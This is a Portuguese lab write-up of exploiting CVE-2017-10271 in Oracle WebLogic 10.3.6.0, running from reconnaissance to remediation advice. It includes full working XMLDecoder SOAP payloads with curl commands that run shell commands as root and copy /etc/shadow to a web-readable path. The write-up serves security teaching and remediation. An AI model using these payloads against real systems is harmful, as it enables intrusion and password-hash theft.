LAB 2 - CVE-2017-10271: Writeup de Desserialização do WebLogic XMLDecoder

I. Análise do Sistema

Análise de Logs do Sistema

• Serviço Detectado: Oracle WebLogic Server (AdminServer pertencente ao base_domain rodando em Development Mode).
• Porta de Conexão: 7001.
• Protocolos Suportados: http, t3, iiop, ldap, snmp.
• Avaliação da Superfície de Ataque:
  • O serviço expõe o protocolo t3 na porta 7001. Essa configuração padrão apresenta alto risco se a versão do WebLogic não estiver corrigida contra vulnerabilidades relacionadas à desserialização de objetos Java via RMI (Remote Method Invocation).
  • A interface do console de administração web roda sobre o protocolo http na porta 7001, o que a torna suscetível à varredura de diretórios em busca de endpoints sensíveis como /console/login/LoginForm.jsp.

Uma vez identificadas as portas abertas do alvo, usaremos o nmap para escanear a porta e determinar o serviço em execução.

Assim, o alvo está executando um serviço HTTP com a versão Oracle WebLogic Server 10.3.6.0 — um conhecido servidor de aplicações Java empresarial, famoso por uma série de CVEs críticas (como desserialização, bypass de autenticação). No entanto, essa informação por si só não é suficiente para concluir a qual vulnerabilidade específica o sistema está suscetível. Precisamos escanear mais profundamente os componentes de serviço web que o acompanham.

Vamos prosseguir para identificar seus endpoints sensíveis usando a ferramenta dirsearch. Como o WebLogic roda na plataforma Java, arquivos .jsp e .xml são os alvos mais sensíveis. Vamos nos concentrar nos endpoints que retornam o código de status 200.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

• /console/login/LoginForm.jsp: O portal de login da interface web do Console de Administração do WebLogic. Este é um alvo importante para cenários de força bruta com credenciais padrão ou vulnerabilidades de bypass de autenticação (como CVE-2020-14882).
• /bea_wls_internal/: O diretório padrão de aplicações web internas do WebLogic Server. Este componente permite o acesso e a interação com arquivos de sistema estáticos.
• /wls-wsat/CoordinatorPortType: Esta é a descoberta mais crítica. A presença deste caminho com o código de status 200 OK confirma que o componente Web Services Atomic Transactions (wls-wsat) está habilitado e pronto para receber dados.
• /uddiexplorer e /uddi/uddilistener: Este é o componente UDDI Explorer (Universal Description, Discovery, and Integration) integrado por padrão no WebLogic Server para gerenciar e registrar Web Services. Este componente é extremamente famoso pela vulnerabilidade SSRF (Server-Side Request Forgery) - CVE-2014-4210. Um atacante pode explorar a interface pública de pesquisa de registros do UDDI no endpoint /uddiexplorer/SearchPublicRegistries.jsp para forçar o servidor WebLogic a enviar requisições HTTP arbitrárias para a rede interna do backend.

⇒ Pensamento: A coexistência de /wls-wsat (risco de RCE via XMLDecoder) e /uddiexplorer (risco de SSRF) indica que a superfície de ataque deste servidor WebLogic é extremamente ampla.

Após identificar duas superfícies de ataque independentes coexistindo no servidor WebLogic 10.3.6.0, analisamos as duas direções:

1. Vulnerabilidade de SSRF (CVE-2014-4210) em /uddiexplorer:
   • Impacto Médio: Permite enviar requisições HTTP indiretas a partir do servidor para escanear portas na rede LAN ou interagir com serviços internos (como Redis).
   • Limitações: Não concede diretamente controle em nível de sistema operacional (OS Level). Escalar de SSRF para RCE depende fortemente de a rede interna possuir outros serviços mal configurados.
2. Vulnerabilidade de Desserialização XMLDecoder (CVE-2017-10271) em /wls-wsat:
   • Impacto: Crítico. Permite execução remota arbitrária de código (RCE) diretamente no servidor com os privilégios do processo em execução.

⇒ Decisão: No modelo de Cyber Attack Chain, RCE é sempre o objetivo final porque fornece controle direto e completo do sistema (Full System Compromise). Uma vez obtida a capacidade de RCE, explorar SSRF através do aplicativo UDDI torna-se redundante. Isso porque, a partir de um shell RCE, podemos realizar consultas na rede interna de forma ativa, direta, flexível e mais poderosa (usando comandos do sistema como curl, wget) sem estarmos restritos pelos parâmetros da interface UDDI.

Portanto, em termos de lógica de priorização de exploração, decidimos excluir o caminho secundário (SSRF em /uddiexplorer) e focar inteiramente na pesquisa: Execução Remota de Código (RCE) via vulnerabilidade de Desserialização XMLDecoder em /wls-wsat/CoordinatorPortType.

Análise do Mecanismo da Vulnerabilidade e Testes

A vulnerabilidade raiz da CVE-2017-10271 ocorre porque a classe WorkContextXmlInputAdapter do WebLogic usa o objeto java.beans.XMLDecoder para analisar dados na tag <work:WorkContext>. Por padrão, essa classe XMLDecoder instancia automaticamente qualquer classe Java definida na forma de tags XML. A partir daqui, realizamos verificação baseada na interação comportamental do sistema, passo a passo.

Para verificar rapidamente o status ativo real deste servlet, envie uma requisição HTTP GET comum de sondagem:

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

A resposta retorna HTTP/1.1 200 OK juntamente com a classe de implementação CoordinatorPortTypePortImpl, confirmando que o servlet foi carregado com sucesso na memória da JVM.

Verificação do Processamento de Dados via POST

Como os servlets de Web Services são projetados para processar dados XML SOAP através do método POST, prosseguimos com testes comparativos usando duas requisições POST para demonstrar o pipeline de processamento de dados do sistema:

1. Requisição POST SOAP Padrão

Enviamos um Envelope XML SOAP padrão (com namespaces completos, mas sem conteúdo de execução) para testar a capacidade normal de parsing do parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

• Resultado: O sistema passa suavemente pelo Parser e só indica um erro na camada de lógica de serviço do backend (Cannot find dispatch method).

Análise:

O servidor possui um leitor XML funcionando corretamente na porta POST, pronto para receber e decodificar toda a estrutura de árvore XML enviada pelo usuário. Isso confirma que o pipeline de dados do cliente até a memória do WebLogic está totalmente operacional.

2. Requisição POST com XML Malformado

Em seguida, quebramos intencionalmente a estrutura XML (por exemplo, omitindo namespaces) para observar o mecanismo de tratamento de exceções do parser.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

• Resultado: Retorna a exceção com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Análise:

1. Cada caractere, cada tag XML no Body do pacote POST é passado diretamente para o parser XML Java de mais baixo nível dentro da JVM (com.ctc.wstx) para análise.
2. O sistema não possui nenhum checkpoint, filtro ou Web Application Firewall (WAF) no meio do caminho para filtrar os dados de entrada. Se existisse um filtro, o pacote teria sido bloqueado desde o início, em vez de penetrar profundamente na camada do parser Java e lançar um erro de sistema como este.

Conclusão

A combinação dos resultados práticos dos experimentos e da análise da arquitetura do sistema — desde o servlet wls-wsat recebendo pacotes brutos pela porta POST, passando pela ausência de WAF/Filtro de Sanitização na camada do Parser, até o lançamento de erros brutos do leitor XML Java — confirma que o servidor está executando uma estrutura de serviço extremamente sensível que se enquadra diretamente no escopo da CVE-2017-10271 (Desserialização XMLDecoder).

Como o mecanismo padrão de parsing do XMLDecoder não possui filtros de controle de classes, o servidor que recebe dados POST brutos sem sanitização é a porta perfeita que nos permite projetar payloads que invocam diretamente objetos de execução do sistema Java no próximo passo.

II. EXPLOIT

Raciocínio para a Construção Manual do Payload

Como o servidor WebLogic 10.3.6.0 roda em um ambiente Java antigo e não aplica filtros rigorosos de controle de classes para o XMLDecoder, um atacante pode injetar diretamente objetos Java executáveis.

A classe padrão para executar comandos em Java é java.lang.ProcessBuilder. Prosseguimos mapeando a lógica de inicialização deste objeto Java para um formato XML compatível com o XMLDecoder:

• Declaração de inicialização da classe: <void class="java.lang.ProcessBuilder">
• Definir um array de strings de parâmetros contendo o comando a ser executado: <array class="java.lang.String" length="3">
• Acionar o método de execução: <void method="start"/>

Contornando RCE Cega (Blind RCE)

Quando um comando do sistema é executado via ProcessBuilder, o servidor WebLogic executa o comando em segundo plano no sistema operacional e apenas retorna um código de erro HTTP 500 (não imprime a saída do comando diretamente na tela da resposta HTTP). Esse mecanismo é chamado de Web Application Mapping — todos os servidores web operam dessa forma. O diretório war/ é o Document Root dessa aplicação. Qualquer arquivo localizado em war/ pode ser acessado através de uma URL curta.

⇒ Para contornar a RCE Cega, precisamos encontrar o caminho físico — já que o comando id > ... é executado no sistema operacional, ele exige o caminho real.

Análise White-box para Encontrar o Diretório /war

Para encontrar o caminho físico real da aplicação bea_wls_internal carregada dentro do contêiner, executamos uma consulta de busca no sistema diretamente a partir da máquina host:

Resultados

• /root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Arquivo de biblioteca original do arquivo compactado).
• /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Diretório de aplicação ativa descompactado na partição temporária _WL_internal do AdminServer). Aprofundando neste diretório ativo, localizamos o subdiretório que contém os arquivos estáticos: /9j4dqk/war/. Este é o diretório Web Root absoluto da aplicação, onde o atacante tem permissões de escrita para gravar arquivos estáticos e exibir os resultados da execução RCE.

Raciocínio: Projetar um comando para redirecionar a saída de id para um arquivo estático rce.txt no diretório acima: id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Criando o Payload de Exploit XMLDecoder

A partir da análise acima, sabemos que a classe XMLDecoder do Java instanciará e executará automaticamente qualquer objeto definido na forma de tags XML. Para chamar comandos do sistema operacional em Java, a classe padrão é java.lang.ProcessBuilder.

O processo de mapeamento do código Java equivalente para a estrutura XML do XMLDecoder:

Código Java Equivalente:

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Mapeamento para as tags XML do XMLDecoder:

Crie o arquivo exploit.xml na máquina Kali Linux contendo a estrutura SOAP completa:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

A partir da máquina Kali Linux, envie o arquivo XML contendo o payload de exploit para o endpoint alvo:

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Verificando os Resultados da RCE

Acesse o arquivo estático rce.txt recém-criado no diretório Web Root:

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Exploração de RCE bem-sucedida. O resultado do comando id confirma que o processo WebLogic está rodando sob privilégios root.

III. PÓS-EXPLORAÇÃO

Verificação de Privilégios

O resultado da execução do comando id retorna uid=0(root). Isso prova que o processo do WebLogic Server está rodando diretamente com os maiores privilégios root do sistema operacional. O atacante tem controle total do sistema sem precisar de etapas adicionais de Escalação de Privilégios.

Coleta de Dados Sensíveis

Um atacante pode facilmente ler arquivos sensíveis do sistema, como /etc/shadow. Criamos o arquivo exploit_shadow.xml e o enviamos via payload XML para que o servidor WebLogic o execute automaticamente. Isso comanda o servidor para ler o arquivo e direcioná-lo para o diretório Document root, para que possa ser acessado pela URL externa.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Em seguida, envie o payload e leia o arquivo externamente:

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

A lista completa de contas do sistema junto com os hashes de senha é totalmente vazada.

Reverse Shell

Como o contêiner roda em um ambiente de rede interna isolado (NAT/Bridge do host Docker), estabelecer uma conexão reversa (Reverse Shell) diretamente de volta para a máquina Kali fora da LAN pode encontrar obstáculos de roteamento. Em um ambiente real (produção), o atacante pode perfeitamente configurar um reverse shell se o servidor tiver conexão de saída com a Internet.

No entanto, a capacidade de executar código remoto (RCE) diretamente com privilégios root e a capacidade de ler/gravar arquivos interativamente via Web Root são suficientes para confirmar o comprometimento total do sistema.

IV. AVALIAÇÃO E RECOMENDAÇÕES

Avaliação de Risco

A vulnerabilidade de Desserialização XMLDecoder (CVE-2017-10271) neste sistema WebLogic é avaliada no nível de risco mais crítico (Critical):

Recomendações de Remediação

Para remediar completamente esta vulnerabilidade crítica de segurança, os administradores precisam implementar as seguintes medidas imediatamente:

Prioridade Urgente (Curto prazo):

1. Excluir ou desabilitar o componente wls-wsat: Se o sistema não usa os recursos de Web Services Atomic Transactions (WSAT), prossiga excluindo a pasta wls-wsat.war no caminho de instalação do WebLogic e reinicie o serviço para remover completamente essa superfície de ataque.
2. Aplicar Patch de Segurança (Patching): Aplicar imediatamente o pacote de atualização de segurança autônomo da Oracle para CVE-2017-10271 ou atualizar o WebLogic Server para uma versão segura mais recente (a versão 12c ou superior substituiu o mecanismo de processamento XML por uma alternativa segura).
3. Reduzir os privilégios de execução do processo: Reconfigurar o serviço WebLogic para rodar sob uma conta de usuário restrita (por exemplo, oracle) e nunca, em hipótese alguma, executar o processo com privilégios root.

Prioridade de Longo Prazo (Defesa em profundidade):

1. Implantar Web Application Firewall (WAF): Configurar regras no WAF para detectar e bloquear requisições POST para endpoints /wls-wsat/ que contenham tags XML características do XMLDecoder, como <java>, <object>, <void>, <class>, <method>.
2. Configurar Segmentação de Rede: Isolar o contêiner WebLogic, bloqueando tráfego de rede de saída (Outbound connections) desnecessário para minimizar o risco de reverse shells ou download de código malicioso para dentro do contêiner a partir do exterior.